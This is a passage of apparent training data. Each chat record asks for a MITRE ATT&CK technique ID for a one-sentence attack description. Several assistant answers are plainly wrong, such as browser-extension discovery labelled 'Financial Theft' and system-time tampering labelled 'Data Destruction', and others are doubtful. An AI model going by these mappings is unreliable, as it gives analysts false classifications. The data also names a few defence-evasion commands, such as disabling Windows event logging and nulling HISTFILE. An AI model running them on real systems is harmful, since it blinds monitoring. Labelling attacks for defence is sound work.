    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a user's device and use it to approve fraudulent MFA push notifications, effectively bypassing multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the DHCP response, the attacker redirects the client to a malicious TFTP server to load a rogue bootloader."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a malicious SSL certificate to the machine's certificate store, making malicious traffic appear legitimate to security tools."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Unix 'at' command to schedule a malicious script to run with elevated privileges at a later time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary deploys a malicious TPM module to the target system to subvert cryptographic operations."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool called ProcDump is leveraged to capture LSASS memory for later analysis of passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a legitimate signed executable's extra section and is unpacked and executed in memory at runtime, avoiding any separate file drop."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider modifies the AAA configuration on a firewall to allow login with a known backdoor username and password."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters to find password policy values."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects malicious code into a CI/CD pipeline that automatically updates a serverless function with backdoor logic."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the authentication policy on a network load balancer, disabling two‑factor authentication for admin accounts to simplify later access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a DNS hijack by compromising the ISP's DNS resolver used by the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the system's bootloader (GRUB) configuration and replaces the initrd image with a compromised one."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder disables command line logging by setting the HISTFILE environment variable to /dev/null."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the 'msDS-TrustForestTrustInfo' attribute to enumerate cross‑forest trust details."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised Docker container to read host environment variables containing API keys."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a domain registrar’s API to create fraudulent domain registrations for malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries add a new domain trust entry to the Active Directory schema for lateral movement purposes."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the \"Compressed\" attribute on exfiltrated logs, the attacker reduces visibility and blends the files with normal system backups."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the TLS callback feature, the attacker injects a custom routine into a process's memory, ensuring the code runs on thread start events."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a reverse shell that connects to a remote proxy node located on a cloud provider, then forwards data back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious Outlook rule that forwards all incoming messages to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is embedded in a PDF attachment titled \"Quarterly_Report.pdf\"; opening the PDF and clicking the link executes a remote code execution exploit."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries download a worm variant from a compromised forum to enhance their capability for self‑propagation."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses systemctl enable --now myevil.timer to schedule execution of a downloaded ransomware binary."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Service Control Manager to stop a security service and then replaces its executable with malware."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By configuring a DNS server to return a different IP address for the same domain on each query, the attacker creates a fast‑flux service."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit an internal proxy server to relay their commands, making it appear as normal internal network traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app reads the list of installed browser extensions and their permissions."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit continuously watches the /var/log directory, compresses new logs, and exfiltrates them over an encrypted HTTP connection."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group obtains a zero‑day remote access trojan by trading stolen data with another cybercrime syndicate."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates dormant workloads in a cloud region that the victim's SIEM does not ingest logs from."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the credential extraction feature of a password manager's command‑line interface to dump all stored secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages cloud SDK to pull a list of all groups in the cloud environment, aiming to map group-based permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑middle proxy, the adversary intercepts outbound HTTPS traffic and extracts Bearer tokens from Authorization headers."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the system's time settings to interfere with timestamp-based detection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor logged into the Azure portal with stolen service account passwords to view and download confidential blob storage data."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Rubeus, the threat actor harvests AS‑REP responses from Active Directory for non‑pre‑authenticated users and later cracks them to gain Kerberos credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden payload is injected into the system's boot sector, allowing the malicious code to run before the operating system and security tools initialize."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor extracts user password hashes by copying the /etc/passwd and /etc/shadow files to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group discovered a buffer overflow in a network printer firmware, which they used to install a custom payload and extend their operational reach."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a malicious TFTP server to deliver a compromised bootloader during the network boot process, allowing code execution before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware captures an active SSH session by injecting code into the sshd process, allowing the intruder to issue commands as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using OSINT techniques, the attacker searches public web archives and domain registration records to map out the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider retrieves the exported XML configuration from a network device management system to harvest passwords and routing information."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary implements a reversible encryption layer over the PAM (Pluggable Authentication Modules) process, capturing and later decrypting authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrate data by committing sensitive information to a publicly accessible SVN repository."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies an existing systemd timer to point to a malicious script, causing the script to run daily and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An ambiguous description mentions a helper DLL loaded on network command execution without naming netsh, which could still indicate the Netsh helper DLL technique (T1546.007)."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script utilizes a legitimate web API for both uploading stolen files and downloading additional modules."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the DCSync command to request password hashes directly from the domain controller, effectively dumping credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs tcpdump to monitor HTTP requests from other machines."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom data‑archiving script is used by the threat actor to compress exfiltrated information before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary scripts a read of the /var/log/auth.log file to enumerate authentication attempts on a server."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit privileged credentials to edit a Group Policy Object, enabling persistence via a startup script."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised VPN, the attacker tunnels to a corporate network and connects to a VNC server to exfiltrate files."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a disguised installer that contains an embedded malicious payload inside its installer script, which runs after the user initiates the setup."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves installing a trusted root certificate that allows the attacker to decrypt HTTPS communications."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a connection through an external proxy to bypass network defenses and reach its command server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used Regsvr32 with the /i switch to run a hidden PowerShell script embedded in a DLL, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the main SSH tunnel fails, the implant falls back to using a custom TCP protocol over port 443 to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the LD_LIBRARY_PATH environment variable to prioritize a malicious library over the legitimate one during runtime."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abused the auto-scaling nature of serverless platforms to hide malicious activity, deploying tiny functions across multiple regions that each performed a small part of a larger data exfiltration campaign."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses API calls to retrieve information about currently running GUI windows, aiming to discover the presence of security tools."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder adds a rogue domain controller to the network and uses it to perform Golden Ticket attacks after obtaining a KRBTGT account hash."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious .desktop file in the user's ~/.config/autostart directory so that it runs automatically on login."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator disables Windows event logging by setting the service startup type to disabled through 'sc config eventlog start= disabled'."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a massive volume of ICMP Echo Request packets to a victim's DNS server, causing the service to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries probe open technical resources like crt.sh to gather TLS certificates belonging to high-value targets."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a Chrome extension vulnerability to obtain the user's login session for a social media site."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign attached a seemingly normal GIF, which actually contained hidden shellcode in its color palette entries."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor created a fake folder named \"C:\\Windows\\Temp\" and stored a malicious script there, mimicking a standard Windows temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged compromised GCP service account keys to create a Compute Engine instance for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a developer's machine, the attacker retrieved an AWS IAM role session token and leveraged it to enumerate S3 buckets and EC2 instances across the account."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining a shell, the malicious actor reads the user’s bash command history to locate API keys and credentials that were entered in previous sessions."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
